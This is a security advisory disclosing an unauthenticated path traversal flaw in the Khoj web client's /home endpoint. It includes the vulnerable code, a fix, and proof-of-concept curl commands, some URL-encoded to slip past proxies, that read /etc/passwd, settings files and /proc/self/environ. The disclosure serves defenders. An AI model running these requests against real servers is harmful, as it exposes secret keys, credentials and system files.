PT-2026-106309 · Pypi · Khoj
Published
2026-09-25
·
Updated
2026-09-25
CVSS v4.0
8.7
High
| Vector | AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N |
Summary
The
/home/{file path:path} endpoint in web client.py serves static files by directly concatenating the user-supplied file path with the home directory constant. There is no path traversal filtering, no path normalization check, and no authentication required. An attacker can use ../ sequences to read arbitrary files from the server filesystem.Details
Vulnerable code —
src/khoj/routers/web client.py lines 46-49:python
@web client.get("/home/{file path:path}", response class=FileResponse)
def home static files(file path: str):
"""Serve static files from the home landing page directory"""
return FileResponse(constants.home directory / file path)Where
home directory is defined in src/khoj/utils/constants.py line 6:python
home directory = web directory / "home/"What is missing:
- No
..traversal filtering - No path normalization/resolution check (e.g.,
resolved.is relative to(home directory)) - No authentication decorator (
@requires(["authenticated"])is absent) - Starlette's
FileResponsedoes NOT perform path traversal protection
Path resolution:
Request: GET /home/../../../../../../../etc/passwd
file path = "../../../../../../../etc/passwd"
home directory / file path = /app/src/khoj/interface/web/home/../../../../../../../etc/passwd
OS resolves to: /etc/passwdPoC
bash
# Read /etc/passwd (no authentication required)
curl http://localhost:42110/home/../../../../../../../etc/passwd
# Read application settings (may contain SECRET KEY, DB credentials)
curl http://localhost:42110/home/../../../../settings.py
# Read environment file
curl http://localhost:42110/home/../../../../../../../proc/self/environURL-encoded variant (may bypass some reverse proxy normalization):
bash
curl http://localhost:42110/home/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2FpasswdImpact
Unauthenticated arbitrary file read. An attacker with network access to the Khoj instance can:
- Read application configuration — Django
SECRET KEY, database credentials, API keys - Read system files —
/etc/passwd,/etc/shadow(if permissions allow),/proc/self/environ - Exfiltrate sensitive data — Any file readable by the server process
- Facilitate further attacks — Leaked credentials enable deeper compromise
No authentication required — the endpoint has no auth decorators, making it exploitable by any network-reachable attacker.
Recommended fix
Use FastAPI's built-in
StaticFiles mount instead of a custom handler, or add explicit path validation:python
@web client.get("/home/{file path:path}", response class=FileResponse)
def home static files(file path: str):
resolved = (constants.home directory / file path).resolve()
if not resolved.is relative to(constants.home directory.resolve()):
raise HTTPException(status code=404)
return FileResponse(resolved)Fix
Path traversal
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Khoj